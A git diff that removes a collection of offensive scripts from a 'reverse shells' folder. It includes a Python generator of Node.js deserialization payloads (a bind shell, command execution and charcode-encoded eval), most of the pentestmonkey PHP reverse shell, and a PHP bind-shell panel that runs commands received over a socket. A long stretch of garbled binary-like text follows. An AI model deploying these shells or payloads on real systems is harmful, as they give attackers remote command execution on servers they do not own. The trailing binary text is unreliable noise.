return this.indexOf(it) != -1; }; } - var server = net.createServer(function (c) { - var sh = spawn('/bin/sh', ['-i']); - c.pipe(sh.stdin); - sh.stdout.pipe(c); - sh.stderr.pipe(c); - }); - server.listen(PORT); - ''' % (port) - - -def get_command(command): - return ''' - require('child_process').exec('%s', function(error, stdout, stderr) { - console.log(error) - console.log(stdout) - }) - ''' % (command) - -def encode_string(string): - string_encoded = '' - for char in string: - string_encoded += "," + str(ord(char)) - return string_encoded[1:] - -payload = "" -if type == 'BIND': - payload = get_bind_shell() -elif type == 'REVERSE': - payload = get_reverse_shell() -else: - payload = get_command(command); - -if encode: - payload = encode_string(payload) - -if object: - payload = ''' - {"run": "_$$ND_FUNC$$_function (){eval(String.fromCharCode(%s))}()"} - ''' % (payload) - -print ''' - =======> Happy hacking <====== -''' -print payload diff --git a/reverse shells/pentest_monkey b/reverse shells/pentest_monkey deleted file mode 100644 index d0aca22..0000000 --- a/reverse shells/pentest_monkey +++ /dev/null @@ -1,192 +0,0 @@ - array("pipe", "r"), // stdin is a pipe that the child will read from - 1 => array("pipe", "w"), // stdout is a pipe that the child will write to - 2 => array("pipe", "w") // stderr is a pipe that the child will write to -); - -$process = proc_open($shell, $descriptorspec, $pipes); - -if (!is_resource($process)) { - printit("ERROR: Can't spawn shell"); - exit(1); -} - -// Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't -stream_set_blocking($pipes[0], 0); -stream_set_blocking($pipes[1], 0); -stream_set_blocking($pipes[2], 0); -stream_set_blocking($sock, 0); - -printit("Successfully opened reverse shell to $ip:$port"); - -while (1) { - // Check for end of TCP connection - if (feof($sock)) { - printit("ERROR: Shell connection terminated"); - break; - } - - // Check for end of STDOUT - if (feof($pipes[1])) { - printit("ERROR: Shell process terminated"); - break; - } - - // Wait until a command is end down $sock, or some - // command output is available on STDOUT or STDERR - $read_a = array($sock, $pipes[1], $pipes[2]); - $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); - - // If we can read from the TCP socket, send - // data to process's STDIN - if (in_array($sock, $read_a)) { - if ($debug) printit("SOCK READ"); - $input = fread($sock, $chunk_size); - if ($debug) printit("SOCK: $input"); - fwrite($pipes[0], $input); - } - - // If we can read from the process's STDOUT - // send data down tcp connection - if (in_array($pipes[1], $read_a)) { - if ($debug) printit("STDOUT READ"); - $input = fread($pipes[1], $chunk_size); - if ($debug) printit("STDOUT: $input"); - fwrite($sock, $input); - } - - // If we can read from the process's STDERR - // send data down tcp connection - if (in_array($pipes[2], $read_a)) { - if ($debug) printit("STDERR READ"); - $input = fread($pipes[2], $chunk_size); - if ($debug) printit("STDERR: $input"); - fwrite($sock, $input); - } -} - -fclose($sock); -fclose($pipes[0]); -fclose($pipes[1]); -fclose($pipes[2]); -proc_close($process); - -// Like print, but does nothing if we've daemonised ourself -// (I can't figure out how to redirect STDOUT like a proper daemon) -function printit ($string) { - if (!$daemon) { - print "$string\n"; - } -} - -?> - - - diff --git a/reverse shells/php-reverse-shell b/reverse shells/php-reverse-shell deleted file mode 160000 index 0483a9b..0000000 --- a/reverse shells/php-reverse-shell +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 0483a9bd75d10502d4c91b5402eeb758c9d8e96d diff --git a/reverse shells/php_bind_shell b/reverse shells/php_bind_shell deleted file mode 100644 index d5b9055..0000000 --- a/reverse shells/php_bind_shell +++ /dev/null @@ -1,138 +0,0 @@ - - - - -Bind Shell — PHP - - - - -

Welcome to Bind Shell Control Panel

- -

Fill in the form Below to Start the Bind Shell Service

- - “; -$maxCmdLen = 31337; -socket_write($client,$commandPrompt); -$cmd = socket_read($client,$maxCmdLen); -if($cmd == FALSE) -{ -echo “The client Closed the conection!”; -break; -} -socket_write($client , shell_exec($cmd)); -} -} -else -{ -echo “Wrong Password!”; -socket_write($client, “Wrong Password , Please try again \n\n”); -} -socket_shutdown($client, 2); -socket_close($socket); -} -else -{ -echo “Socket Conections not Allowed/Supported by the server!
”; -} -} -else -{ -?> -

=$$6=EN18c}8uAZDnO(*%~T~a+sof5^Rr8#eH9YgG%fKT4x2_ zZLpDdx4}vtw0E~1Y$_k#y7Vv`yNm4Fj{*vBRa~g)TM%L=>sA%`rocJ|b z3n*Pn4Lshjd#fign;1Mr>RD6$8$1lmji0$8n3!^()aLX(Q?()MsWJ1uRY<13!(pKe zMS1x#Ab?`zoz8l4Q=N@nl4aAeJhPG4DoW-v3KT9~yD*1c zk9A#qF1Wt_uCjo-wiKwYFVt0W)fLoTCtF!xSPBUJe!rP}(-v`eKQw9X+?g|H&YU@O zX6DQ}xWSmbLZ(*sLk-Hdld_mFPRdWbi+$85x-s6S@+C=XSk zNk#XvZBZBqln+a_Ya?zKj@T#doh3UhL6%s_x$wQKJI-aDi)SS2bL6H^P@D`K&VYE9 z29jZfh_NHm52k)FAxr7*a}jR|?*if(d@BX9aRhL%?vCxS#g61G`K^?TFx}?OOo=FG zm+Fi5nLh@-h>0Tr6`u zOs{vQ_*$!S1PBH>C^*>&jB(j)%Fr3ONB(7USxo(n-uvca05IG-jFcf zpCGo9?`R8!35HGEGO{}Umkm?~g)K7yh42I3sH9Y=O6+^B8ccZ9UEzyuRRY0D!P|99II1Cl{SmB zej@9V`O`EGc@OfV%A&g~(Vps{Jl49h=zal!Q8?e0^KMXVU9J|sE_RosG!zz)hT~kZM?_`S{ zF&U>b9W=TdCCr6SG0%52JXs;zn z%SmYXIk+$v62Jbn+m#NmA{A;P!v`^8vt0~{ZIyw_5BX;eG z58KCT4znE6zru_e7K6|N(7b)9^cAdN@&wa_xpVgSU6G+g;mg@X!NV}PP|4t!2$P*7 ztfhNEEa^uq-^W=x@wo$^H}T2;WSr$@eBQ!m?VfR#(!Jv>)%ZM!&zeui zS^kR8!q3K8lK2$j6T+uI%HiLD0citL|I*W~so(rzv-Nr$(5FxD=ZuWr&zYIMpY8VE z&skZ$pR==jKlkn1`}x=>hog5&zka=+`}gnt>~!{icDcGe&}=@&15EPT-}Ulu0}E&P zi%FNxVgfjFFs`Mh0Bj}~iA~pGkylgbLN9F|fUoL)ZOh38_@C+!7HeUBk*%n-(An@6 zlCaj;nuWi4yUML?*uo0q&fpfAFah3B9K|h5oqEKQGN#W&W913viHs$}Z6c%2JPL24hQW^|`=a|EfGNVTU@N6&~ge+_3+ z3#g+E^su>=T$MI5x3!UwD)g&udSFIXV%C7Hx+7hez^bK^4SMnvv}JY*U#?1JgC4z6 zHVBtbWs{gS#;ns*S$St(X1zsaRT)8O{YYMC*vgHY(m5lR+e1 z2A@AcpP=c3f}yGk92mms7*0lD%U!A05%XAU7DcI*Kj|rpNE|&GNHCnY?10EpiNV20 zFJxKh4Ps{r=#q>Qnfk{loTV?ATjHg&xNqcam;l&HInqOw`Z7|guH^-km4;+{uT}G) z3n3cddGWTXa#Ap@;C&F-JnRpM%W)Vf4d-BjS)=_mh23b0-DHWK8<#?w(QcgdM#skf z%ypclI*$Sp?`%H zo}&t`(~jaO4RR3o*^3ends%6?N*v_*8cu_;nbAMa_bwcX_Qi`@oTLHR#Hz7khbmay zx#W%R21idva8tlAJw(hQAgQjPj`&6rj;z-t`L2o7g#KauTkN1`zU)08kk#HWn;P-U zb{5~ztM{|$Q}=>7+V6C4Uiu6tb?&Y%GN>kVGw5f-xe7Jr0t;%zGCT`ZShi7*;oBxVnS` zd-Nw?b0xc?naz<-L{Kak7G7{K?w1VJF~&R+I$+yTX_m#MkFAXD%zEC1BJsN$S#WHn z-pC)pKCAGJcv%^eGcdGPckyTf@0<7rY(#fCO-<%+SW`CLk$SM}O%iuMa>4y7{=nkW z+6wNp<094R9!TWTwzjclC}4??^~Y|-e(wp9w6K^t*W~p2HK;Ev#tfqDuuTQoO-@jM zF$)9$2YO3|J_$_l2Y`YUk^w&QUJlB!uYn=;3I46%513$6;BQ;nKM=VgBx+8SB587~ z^<_lYTWKw^MrYPHD_L{fAao`*uO7nw1~9?OnUZ121Fc#p_5Ni5kMMm2?}-84SWFE5 z2{!_P$ZYt_lNIJq#spIs^Z-@L9a0)1ZvI&u(WkIlOmBvW^Gle6dem7J#OR z*{ZgsF4?LLXfK|pF$Tzgmb0w6u7y3BxFt?!&i<@zj$nV^gNZ@O7uhA{yI{i@2ldQ?f>0ae~TLk@eR$}(2@Ggi5} z8Shc+wI0?=O`=z=Yh|~{TDy7Hi2rpp_Z#)um2i)@gAD^(a{z^Y<{S|1v@oa1P0sT- zBei-wkzHtuxT*Z_QRjg|TX@KHd_an66jZ;?Nkz*yCffaeqHPv44DO zA+(u+sH9D85Wh4RFpH)ZR>RTgzJYRFVS=~&#fKFkMY{t5-;_~I;~3<*Ir_&uKr{C$Z2WO+=w;S zd<5C?P8O1vyu3!;k2xT9;V{lMoARk_Ft!p)7D~T3Yn1NCxin z6TBS?r_wg6WmesQeFSp@R55Jqhpj19tPUyBkytVy15_N;RpH5ycY>6dO=42itc8fY)KO9omOx+uN^I zZNCQj(0`^fHp6Mi2r*;ds4~{d``qv_T$#;-dyo$qO>~9-~u+Ji?A}r=FF&Nfa{~%Jrhyx$^^ zw5k9SN0ONDssdtTcls!#8__1zeERXj-*;)3m~9A%1TVaB?*sNA+1hBlNOqtGRR-`p zXc&T+l)wbzK@_FQc>#_ZN@W%9Fb*gBiK0H-*s>*ep`ggeLxs4gFNqSv87mH^TL}EHm-AauK00UHH2rx(t zEo`kkexWucRaR?vXuOH9*nYHR z`#YwwE;mQrBB#_jq(J?QMs=SLe{PD6%!r<$ zMNQz^Tc}%m9$(<_3sn^qvs6!YpBsQ(p&%X*F&n~=;Y+6cizdXtq@iQcDcTYfP{d|J zX`d<)McBbsZI1a`d$C77uc#cX2liYpyb&{bXjoHN-~oY3v36VtO~Md>TWA=?d7Pqe z2#B>+CWPd|aobWXZEnPQ8*KA2DyD%)xpZWXm6>Bp(xa8Nw{}^gc^t5p_D54!g4jLu zi5t=EizPa8@yO!Zs#F#Vy9l!kPGKx-!2SkmK+l8S^0+Ygg2!REr^;pm%-QhKxk8KKAN#xHv_xPQFGV&`Xtq zGwbdpYj2Ds^Db`&hOr&lLF>D?bcSv_}|s15^UY>^K_ygDx=@`-6%3RCi_Y`*tL zm@aR|JLNe{zuH58ERf1xWd$GmES>(E^2NT7DOO?WQJqi5c!L&`yHe2QvY2$(IoY5C z7Nul5L$)-MGdf0l)1%ixFhFTSg_r~=B<%bR5u?|@@xuz7r0Z+QFm&$$MucH;y^crH zUK(frJ5?v<9o3?8vre-|2^I?=*@<@8^zxtS-#Zv1z1*3S1*D<$MUqSFH0+e;fh*ydxIuLJtbTAOWl|&e| zNH3j+=wEm$a5{m_4T#?iko(UC*@O6%v1UFPN~vM z+U&s0Fy-KWbcnRAS&exYrHuTSnfYT~1vOHAKAlZF57V}iyJ{HZ9@{Q84&sYls?Wl> z_klU?k#ppFd9u>2WuGdYQ>~YmV>ccaSK$%+s>Ii@Qi8t43!RBE_7NY78}QOR*UsU& z_U;43*(I7#w?2x;+Erce^Majmvc03))$2ri2i@Yq$vgIEens{(+;O`?;@{@84{8?< zvTJ6^_eD=~98`Pd#a%T-<-W&aux8#>>`3zz`>Iw}Esv~oMp-;KvaWE}_W_NdRXQ7P zlR6G|tk1p{JJ#as8ArRgKRvr7KHD#TIo;fxehKViNn3~=YFF{c&U$K4VQx>qgOQkA zfG2sv;9Nu1#97b7kzrO;73*B;TyX(j<23r&E_oW=h(Gb!1!8_X_@%S>h;#Kwyhm*i zZXOg#zKO#6Q4x}7czmzUc4qO!Hnu0whcgVaV~;ZVFtUoJIL%OizQUsdR7*h1@rW~p z7c(h>Ve|h6yp1ls7g-vpdULm>8OTL!uWuhhZM?2>A)XqzezevUZnm*bVjc_J)^ zPcsgFqBr8uN2#5_qRZ#QF~+XL;{ZZ#Fq35#(<)USr@&_WCO%-31>U^VJjR&{E5^zx z8N@qnI*?La-G%BRWE>oMDE?fq=C_34$6kret-mZTV~SF`M?s#$VWsO|G7s`qU3&otg9cCmg<(y|&HM)23PST2kQ- zl>JgjJaSzR!D84CRq8(fkL-CEnF?BV)ECkhR3hN5(v%;?!U8mhAW_fj)U)P6Pld$G zd-~#gnM`xEjjaTRmZ{U!MiZqbK)MNSYJonxP?q6LwC(4Rqf-mwvkS>|r8aV6eA>9S zOv!#@1B61GGzG_`5+)0HevKWpNBhSPE~usxE_<>q4vqpLblqH4t8Ri*^QNyn>vhJ z9BjvP6dra~HzO}qfzi}4>e|-h5lg_vu^@G^@B!`Y7C+WT@J1zlEn|f7iUZ?tvKsizk&%q86cP%1T6ogZKY+aiZiQNkZk31| zl8)_(Z6=*9)%0g=546?ti4BZ5vKz!z&@)p+*gS(t%dul-+TZ)V(`AtAIbkqYPC!41 z-g1qG9#|)^>wrso5qnTv@0PyVO3KBJNQJf_H+=RvS91qNu9@@b+~3`FS?sXOx#C)+ zLbavJ?5H5m&j^YKu|*0pg6AFBIr2Zi-4eN{aRVS$pzc}f8n4LuS8BusT+%}aUIqf< zn>(86P0GVo*U6Dt~E-4zvcaY zvE1L?|MlKg$gS>Qtj8}9(=-tD=uJz&NMU_*E&kw&^Ike3;~Z5$7c+=gJy?6~;mHA%KN3*f&b)d z#7GSInjMC4_qBMUC(M81Z$KP6nHKHXLfO|PaPoZV;0j|k$2NF`vo^Q1Aex{Y~| z?UKzNfk&eOmGLsf3PS^?qk??c8M&e|gfZ?X3{k{K_ik87))0rC>~I@0!c@k&>IYN^ zKFtY=x#|T<7ep@skqj>Zi#@R~>~M+1m416){R;Qx(oC<#Ufi+-92L!^k*Wo&=*8}d z2R=EaE7oR*Ke$c|o}7R<+MiRqUhjPzc~EPtb6~V6)_HoAjwEvv4mwEnCLCiE?sF5i zV(ZIj1UgQDaeo=CPKi{4`_(K1=@O>cDhr6ipF!+t8dTa9bF8o;VX*u-nPzy{72y`wL`0OLVj@`$TWz zBP6i{pwWZ4w$5kqBK0YnAIjWB7Hkdmyp|owf4F$?a$8;Z(`Gvo#Y|kXLJzs*CJ7{z zn^~jhuzC939Dw?qNp(95(9v=p{17s(xgD`s`#TU@`CJenSFfvOwwsX+d&Kgh4d#8D zzPr6&Kzz{`Yz)Tbhv<+(04DdugTX zm5bp>3WzUdS>;I=m=>v8hl6qmhl1b-p z1o2DY%u9lj_4n7^1r-Q4aM4~V;A4oU1PngJD$rO?zNYxCqlD`pDA4YZU<6=oGWB6O zwdaT|XaO`ZmCd3cT}f2o133*>&Elis*2MuYB=OO1WYX6z#5;_$T-+OuSj)xZQ`BO} z)9@i~*-taUD&6%gmQSc z4E?vbTmOOn%kG;K(!XVCbs!&u2OOTw`X{Ezdri?Yc3 zyX+hk2qA+uI-(9A3*eM_?yEf-rk5E;16A!*e4!_P;g>zZrPei&4Ak}> z8KSg3Nd>X*BPoyF5qr6K3)Qiwu^yZc0wRMqC>}>*K+MFq{&H-4Zo?}JpOISt_Z&E= zcRHUsD7A8kWX>*b7*^efE{Ppy)d~+ab$CTy@M!i6ehCfaW<1MEAkxbWryV!R;$9+$ zHJ3PFQou&V9srtvtiGuk-2fRCi0!04?Sb3vp%O68Xtj|5TrP6(43ZVFrz@3r9${l; ze(xlvahj6PmELjXVli{Ck{SRCX|e4-hzbyD$*GD^Jy&~jzrrT>m<$nd)Ml@?mM!Wu zMapIk=!yBTlI4FVB8;;3^z#}Idz%-D9ycTi8ha{QpB@M_o85`egIZ=Vl zk<|^%gke25m8M=9q4~$Ve^^?je~s47L*(zF z^7~x*eV+Wzli&IBdzkz_Uw&U8zvs#C5Wji4y8wU}<5P>za(q_da~nQ)<8wbg599L~ zK2PJb37>8Fyo}Ea#$Sum{Fi3_aHglH8^5ioG+UpHOnX*#-wd10W+tY7IFC(pAWQe# zer5sW!@vG2{?2I58-`g!k>3JODgP zdw`Ngu5(s`Br*;wWX@kMkunDx4Ftvc1(G4Yj0-;sJB09zujTR&RYN4%jrdwf#yQzh znn&!$U}*Sok)1a!B?viO#9Y4Pf|g4I;g^OKWH)Q8wKHVx5^x&VrEM}%3X3zKl`2fV z+B;@4?sNVYxB|^H6`Jxsr-5jED=7ga<8@T;!ureNR2;Mb9m7Tyx?J@{ss8N&5WqBS zwDkD1_>IYYcx;i|1DC7R5SfMljBQ4F;U>1&ZNqC`)!HLpLOq=<8)-@zQy$x# z1r%d+a9$#}RbWoXzDyClyKT3tjbxb)aph1d2-Ou&xJo*i6)qkoVe87?&{3U9A=xa0 zi@OuHUj(YQ_|PD+4?(b)p*i}=G(c6S>41yt@tsIXf;)_ZG_6njA~IXKiC@u-iU zRH5G|ld3|{jY^_9iKnR_Cj!%B&6Q*Uy^b=neNf_QD#VF^8^_=(omJ>BlTUIWD|3ZN z;~e%NzNzur8}=+9AD zwzGKV0&Lgg52FxyVO`%qC0;I3-hO?qwB0pixUD0(g8wY>3~NvZIV_i9emcp07Asy%bxAw9 z1&B!@E&l#jISb@tf}Dpi^eDy9UPGn*5T=fo-s238?PG~txp)fCc<)DS2Z)Typtv6i zKuzvVU&*xT!Ny8&g;*}rLwzFYjVG)uwc&+U5p29HP25BXAsn1wZBb^LDNRD6+!7lJ zL?`0`$oX&xz2|*o#$FN7Dv@5ku!)zC*Yt}tNzVO2kxPJvJ~0FOhy%~D?SAC&2I+PK zb5a(wKs`WOq4bL*7RXF4Ij>J+Zy2-sejQ#T*mD>(D(u3qPE7HM8nN8xilPf)K&jdE zsb!!zZk_wX2}fQqb!U0O1dczbyft~ok!NvRG%v5yx;vb(F$u~WhDB`~zS!ai7E0Z%&xKNF!4mXjO{Lsk1WUK4FZw04 z1hE3Yu_$AKC*PYymld`j@i$0rvbZ}IolCrLebl>~@Ez4Zik7AtHmdXf^l+FtbJX8eu54-a`5 zZi!XiDR>)6dmfVA@)CQY91HMD7~xIA(4Hdx{#&q0f2k8CuqT4Nd_N2C=K#H^_%q&f zQ98+c;F6* zUaBDj6~jcR3~3npNV6gBVVO1yY1~-Um-7vh*@{HS4&W5A__JR9AqIGA=AS#HAC}@B z(cyu_9a0qpHRnhQ-RJ!)bG+c?aRKswgg@f;`^Xb^Nf~|l1|*qf_ux0mvY*Q1_jy0Z zBgzW?S>^o_e?+)f+4V>=%YKdDD61J|_u~;|JNajo_XqqDr}QklZWoe@-^Fp`w#33T z`mbMU_tn3G_&9B{_dy62YOD8hcDE7C9bTTiCSdt24M$P&Df&8z+#TLryg@x4{;BtR z@kg0IVkdtXsp4YERbIKAM9XOK1nhG7XO%20mi|UkMPJ8G17hb$#8OBBYCduUAI^OS zKHLw~*Rf}gTcAW0@O2m9icnuiQXRLzI8`9fU7!*_!Pes-b6>zB7=m&}RZ#B~Pw@e} zcU9%qPH_fQ4r?cd1-S(|2jUrxB@0yr@je~TvF$^xokg>4^G^UZ$YNL~{430KJJO$I z-stH7@tOiL5%6J78lhM2aboRQ(#Fkm~1?-m%PRR~ZXM zR(D47kn9KY45}W&j1HC2C-$g)A8TjC6$VY;l8+AT=;R`T8$usaxu!;ectgkm>~kY& zoPfRJQEYaDvAkSm%s~CnSMfTZf_F)|7|BO&fP>a|0E3`-6r{#Gc->XJ6A*VWMXo!Q zU@8~Okb-UNSdGmx|4h!70O2BtW(ndtyvFs*Pd(tp+P~B`4vzhqe1SlFI@YFIEq;O( z4J1XM6oU0qKn27@6$GCf`!jiyrLaq_N~IHRG_72`dAXb(;7=I-agi%1ZZb=eQ7s7m z2&GY#va;@#qr0w5GzTQ%1&W8tOtgatL5TKv#zI&Qh=#S^-a<60HlS9AsI3tPBcq#geV&3 zt5S{>hAk{*U^qi!_=&<0h%rz^E*yU;FJ)L0>N~gx)d}t2&|s9h`P$~`fG-BY98+nY zQJs;ar=$3s5&IZ?M{9%Zycn4v2J>}(pUpK47^M&ji3_A#LezQsf`b0y*Qdz#)p zM6}SL5k`mAZvn)tI$)T*$0aY>paLMigzYa2idUqp#2OE`qLFb0GtNOqG{X-(rpRo7 zud(Gh<$zv>k52^UG8S5}DyOsDNS4Ex&jTvh6PkkGB|v!q&abf)!8!>gspS>2%Td7; z_FNen0t1(EJQe(5BAGV@lt${w&zusO8F>mJR~pI%MEac=R$s?|jw*ZrtZLc!&VR2Z zHwXl%ein%S!Ctl9&)TYc)W(`(N7JiIAoRS}=!xtLZgP`OwEj$%F*78aa}%y;2l2T) zy`Qw3;;n3XVY_{rzLSxvI;~OfD443?I#JzGY9k67QwZ%@LOawS+9qmB?_CoOHIskG zyB;<5qX~z)`@MqdX#6Qo+n|LXnWnI(%D@hC=PwubuD!eJc>+u*fHU&g6Ml>_lw%m> zENOCu!rnNpSOOalZJ92@>3187X{+!{WRys{p#!}rnvaFvL@-j|Fm9^ipb$y2J1fC7 zQKAAza1YCV%`utfFT|iPG3d=KUYbs2wT*QZpf&B*_*ewiV@MxF97~La6~w+n>Dc=N zgAl)>S>7qpd04LbR}OJ*dbM`%C$$G_tADxj9n1o?f3Yp?@@Os}o3&wVwTFNfvW)~{;6wN{z5Xr9 zhe(@3Zig{P{oCvx(7Lwh0cXPwJn*y??$U843)UY>I?4GG8?`^b6s(PHGk5)mizLq# zBRjFAnSAoE4sglg)2k7s(mN$jjiVU}|A3>QNeUskemLcu0snzONo+15@)QWNa#+81R~|-L^oJaaBoF$aBzh(Q;n;T0+V8vKD;`(v z^aaKAT@nrmP}1(K62HHO8@x6n$8jn1ph+2n77QdT&3@#)h01bq>gb=KOeZO`wXaDT zqhX-Nj6|jVC>W95D9?)I{x(h@Zo9GJ8vQiDXA!hfQ1R|jz9)Hcu$B{6P7~|+C`QqJCKfxCaqm!HqME(c9K!;<-zM`zx zIFbM^Gyrr{4J43bi7{$CA~f>2ydlee4~uWKDy2dg;|RJA{1qfPj@EOSK+(qe!mAPv zsG-JDM*J!H@)%Y+!~$To+M-9D4g2u$)9myDWZ!WI%sC_sLvjCaq8IG+f4vDK0pu6} zx(NfcdWhapKR+&EWZ920y4eW?$|p-fLU_QiO0|+9ivh4$p&Ww{p0;KpWFfIc3hfVLYiC%wEkzB#7le8L<0C4dqV{9 zQ#3j8XUC<9Ec-0VnqsF1pGZf!;FCjc(xfRxldUgHnxv!(_(i@vu3*_{PS8Ikj+a0l z9+xgxk}fA1&HA5Imv1iXMHdNRH>Sw{M3*BYj!PF=_CB>=(Ni3kNSiIFF3&YmuzX3P z@X%a5(k9`g1j}hfPYJw?4k-GyKk8_cIdQyA&vH-6Qpa$T0SOZ4F=xXkl9PT)rMUvK z@VFFXV5sC5_)?sN8uFArdwi7!=j@mGdr?dRpx5nQ6gx(xd3E@4DJIKCP!{wsmk9Y( zYanq3##e9&4j%Ky?;=@91(^aIIes`hk)Jq?|A6o6p9Og$gmJD*9y;$_mL*ouRUhN>>ju--uU6(d#HK1}8>$oz>jCs06tAn8f4* zfnMilaOeX6by&*-NORd)BS-eC9r!swGST7Y{t(Y~>y{R}27p#$NCI3x%QR zxt$H80Y-0VMj{UE2kEZjDoeF9w$P8ew6V?XcDhSK2+6Twk_p@nQ&JLsj2&0(yVBs{ z>=ESA8@N5O5x?xwMS9|H{5UXrB=;Ml=V}ijzxFt=)MCh_#qbiw7muFG4lys`qSISh z+=l#*rSjvld@BF^ALSSG{s!fDjJ<7)r3-r^?Sm8mySOoxegx@yl_h>Bk6{>84AG~8 zGx{{6CWhjUx<j_I~=E%%NZE=VRk# zXT)011l2F2YJawdeLh7d7=RlzT9$h(jr0T|Aaq=#A@<| z$0Y{_B2!;E(4Yn^{JDd#I`cVHkSwRwBo8qgPrzCJ0m%k*WSxjw)2mO_8>EP@B|o5{ zFjL+ol~vj-r;qqBab;R#|I!h-v0jtco@H3m!QS;wSxN>pfg$1(D6-Pt*nce8ueA8^ zl08*BGb|#rU1EoLVQ$Tz!s%1u^k-ODVhl2Ffvdca#RqzohN{GKyUbRM!0>j#J7|>% zo&tlRE6w8FgwHyKg!e!wz{m@?*c`2S+$aH&uVAbJoOV<(pt+-MOyK}IwCvIiu3x4a zfz%zQh}fJ1ti;R##(4DV4WtKH0P(|Eu4D8_o&nnfNX3;78Mp#Hhs%KlvI&}J0(zxO zI~_G?9(*AJ9%BRM07MRNQoxLadVUI6C>*UsY`gexc`BtM+*zwH)vKlyom_o_aewa` z73&UdLqz$S6b0sLx1r_;{V{m4;I@dalOzi!2e1Y+ULN94Ys*ol{V#g84;#+;N*3Uk z*V(WF#hjad0h^RGB^Fu`KrXGesM2MYacfi;AG3fj2{0KXo!J$?TeTpQ$Uh$9zF^XH#PziXki>LoB(ns2Ay zwbJzJU+WEWV`;4BY@p#&BC(#|3ue)o+bOh7goZM>3ZuJj7zs559L|RG`I{qm9L+4d-ogn;VU^gDeY6WP z!{3%mHgLzHJmpVJ&Z2#eQ|%<9TB&|FG@~K9^t1wl#4J5%k2h^b61gW@qPS9TWJ>V_ zdo)iQ2*y@2eFxHxZPAevRg0X&v}#iP8H(GKut~2TP$gEv(ExNPc1{w=LA>&GV>Ii7 zmXRMVQr%U&j4CfGq%(F^;iTiVWtCAOk5(`+${F_%CWv5dZ#cee6>4V`vqDTv!-XNz zoedNOnhe+^Y4lllLqv&!mlEbVt=;n!khwU8O!zp+bh!=rhj#&EK5L}>4vJ_0WU^$# zRhR~~OH+W-jss|u0f=M4dH?}D^P@wxO0!60UJtSlM;5W%$j`cf`euOSrE5s*??C}Y zz2kAh1XZs6I&D)bU;c6MIorrrtUZ*-#cAdbjVm)a8Nlda%EDf<)>EqYe z34ecr0VZB7fmduoFfbCZK=Da}CG4xhsXLgz#;?eKwrxKxrPgU{moa2a;QE1Zx! z5g-xT))_#c_~6p9+P_TPdH9jIIbB{iZoi&ok;Q_0as9&Lw+l%q2*>CjwY_Em#=N&^ zU*QWONUy{VC8AL-PJd1|0uCX3#huX-ZGS31=O*n|Kn3tz{DvO@e1Siwx(J?ONh`!M zm+FVt_`cID3kL>cT(ByM*Vx1y2B@+fA%MKL#FFI>Jrji$1!q)BMB^94YwRX{IrFQx zrRuF_gYKk;hyhmQ(pA^(&BzH*@yA$X#4GK?P+c5Ro??8VTnZMq@NDWxg{%fEFIgtO zk_C)xw{sIL-n5?IAT`@cLV{;;F1f!(N+dVp5dZ`@KGz6V*nU19sim2h0CQT82`So3 zC?Ts|w*$VkfQO=p^?LHIP5Zmla{e{rex6+q6hJ!JgDL{GP1{TTdk?$RWb8~u3_{CzwFqDh3noNaXiFZfSeZGx^4pFNE%cQqq5zKjJG5Db>s zW~~@1St|rMlc9jsJ-TczPqhp}bwK*ZS})5bk)`hnv^RPtMO?$4JjL&kA(8&t zwIt?re95>jirJ$V!F+uf*()Rl1D5uKS*Z$xyOy2l7O(YXl^*H>tx|0{#)HykPNgD* zO|fqK?VL(bRq+ZX?@y$t5_$@GUXg zVO?CZ0lpv_nPpuwu+ilv0^A>XwDYpiAnJx#<#Sp9qGw7(-AUZ<2E{ofi(ie}^bguc z=srh4eEuAL)Y<4Jf(jJ;iaHz4BaIUB6Ytsn^89Q4VMNH#g?^(=7GH)h+k{m7OqxWK?*?3azLTk3Ys367l>+^mLw@SkOodGwEa8<9XP?iBlMYvbD<7$7H zeSS?lP;v@sW9|2&)9%ua;t{s;*qcMsDx_kf4O!R)a*&5aR7uk{T zZZZOVWDZx+hl8T(895xOAydB{4v=*t?*?l*8_p*9Nf;&0dfEe2h%Mj2|Bo)jh5Okt zc6~SX?+)Z;7V3}UPy3YGk6!X3@Yx;L#pW705FSY%mI3P4Hst2P}@v80Ea9s@N-)`4%JdFha+!J$nLI zqtO}GZ51t@)<9THiXl#FN>Xr*a}1218!(dG$NQi7Vhs0%aa#(E!L14W2cHppzLl6_ z?VYjWV3+ncRHW~gRaJ;*H}IVo9h57|D!~l2`o@zdIt@dW$3VGqnNkrXq;)AsFDwVo z)4p?eMdN8zxRqc04r<0JOyDvx9dN3|6^~(z%0t%a^io#og<01>qpYnk8Gr*T?eD1u zr#i5-58u0!ozz$3c%M9qyNlXV{@RaU8)Iy3L%a_A0~z>SA)b0rS|DqIh&^K0ctQ{X zf$w>qV>f_}rZctCsm8+9eyXtttg5jaZ7AUZ+!< z*+=pO&~esd9~nGB)rE8apYaqBzt2TAy(FNVW-}=PS2HVxU{E{_L20TU6yB8Lt?5by ztp7bpXw#QJjO?%%-;ZUJ9EtHdW>s8>45rxkXt$WO>y}HuPFMYKI+z09pkQb>{u~Ht z*-o%d{8DZY#EWqUSF1gtP<4=X=t|hACF&h?r`0GUGB0li9&l5JZ;W)+@2ehB{cgBX zAYsbI;BUKopSe|}RP??ImKr@@u|tt`4TL$Q)g(eUE6lK{Zh4x;l}MNOp;fJeRIO-f zE#8-lN5AQ=u!$v>H{+WX-p$AAQ?=KATt%9yq8%4QdGu9f&`o;K(?>fvl&0Wfvf|>= zF8!UBf7vV08+QO=<6w-90EdN$yv{xOT#N*A8{UymYVk*MQ&2pn!+8@t>wz+oi*Vls zDOk>93dsS#&iWpqsAMd?^@t6GG1Y#SdR&V~?H?(;Q=0wdUDOpk=xa|v>D2szdxdc;Vhr_CHkuw#(q3LfOt@`I5x(D>en>F}QdXHkIA$6_QN)ZGAyHprfhj zh>ieGlXApw?~=d}JE{p9v$Nr5itmXfI>M>lY-3Py6>MpM9HAmS3vS0Q~d`Ei{i zy0#wb5{m;6^$>DtS|{p>Kx}tDXG*yt`dGW}o529A)r0i_y#tO5MtpKl!qMJG`~pqa zCt^~OS)BD85k?FrJ3R?qWmj$iFe~K3rB=im6d$^|BBcvK4}{0+7S%R!#{o%eDqBwy z4cfrH%AmFIR0D+C4i$6=MFgq>!E6HiRWlci>B{_u99^1|W7QqxyQ?mkVsLwz7r6y5rr%4aU!sX7&I6K~~=$)1l{q-5Uq3M04O2mW@c#@F#XCT78uP z+>O%EF~N&@A}-)VHx=m#x3MmsX#l9*@4Qq?q0c=fAnx{L>> 